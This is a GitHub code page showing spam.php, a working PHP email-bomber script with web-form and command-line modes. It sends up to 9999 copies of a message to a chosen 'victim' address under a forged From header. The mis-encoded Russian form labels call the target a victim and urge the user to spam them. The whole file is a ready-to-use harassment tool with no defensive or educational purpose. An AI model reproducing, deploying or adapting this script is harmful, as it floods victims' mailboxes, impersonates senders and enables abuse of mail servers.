forked from bumasa/casino
-
Notifications
You must be signed in to change notification settings - Fork 0
/
spam.php
97 lines (78 loc) · 2.18 KB
/
spam.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
class Bomb {
function cli() {
if(!defined("STDIN")) {
define("STDIN", fopen('php://stdin','r'));
}
print "Please enter the Target email Address : ";
$target = fread(STDIN, 80);
print "From = $target\n";
print "Please enter the from email Address :";
$from = fread(STDIN, 80);
print "From : $from\n";
print "Please enter your message to the target(800 chr) :";
$message = fread(STDIN, 800);
print "Your message is :\n";
print "$message";
print "Please enter a subject :";
$subject = fread(STDIN, 80);
print "Subject : $subject\n";
print "Please enter the Number of times to bomb(1-9999) :";
$times = fread(STDIN, 4);
print "Times : $times\n";
$this->send($target,$subject,$message,$from,$times);
}
function html() {
error_reporting(0);
$target = $_POST['target'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$from = $_POST['from'];
$times = $_POST['times'];
print "
<html>
<head><title>Ñïàìèëêà ìûë</title>
<style>
body {
background-color: #350000;
color:#99ff32;
font-size: 15px;
}
input {
background-color: #222222;
border: 1px solid #FFFFFF;
color:#76defc;
}
a {
color: #FFFFFF;
}
</style>
<body>
<center>
<form action='' method='POST'>
E-mail Æåðòâû :<br /> <INPUT NAME='target' TYPE='text'><BR>
Òåêñò ñîîáùåíèÿ : <br /><INPUT NAME='message' TYPE='text'><BR>
Òåìà : <br /><INPUT NAME='subject' TYPE='text'><BR>
Îò êîãî : <br /><INPUT NAME='from' TYPE='text'><BR>
Êîë-âî ïèñåì (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR>
<input type='submit' value='Ñïàìèòü íàõ!'>
</center>
</body>
</html>
";
$this->send($target,$subject,$message,$from,$times);
}
function send($target,$subject,$message,$from,$times) {
$headers = "From: " . $from;
$i = 1;
while($i <= $times) {
mail($target, $subject, $message, $headers);
print "$i sent ";
$i++;
}
}
}
$bomb = new Bomb;
$bomb->html(); // For HTML version
#$bomb->cli(); // For CLI version
?>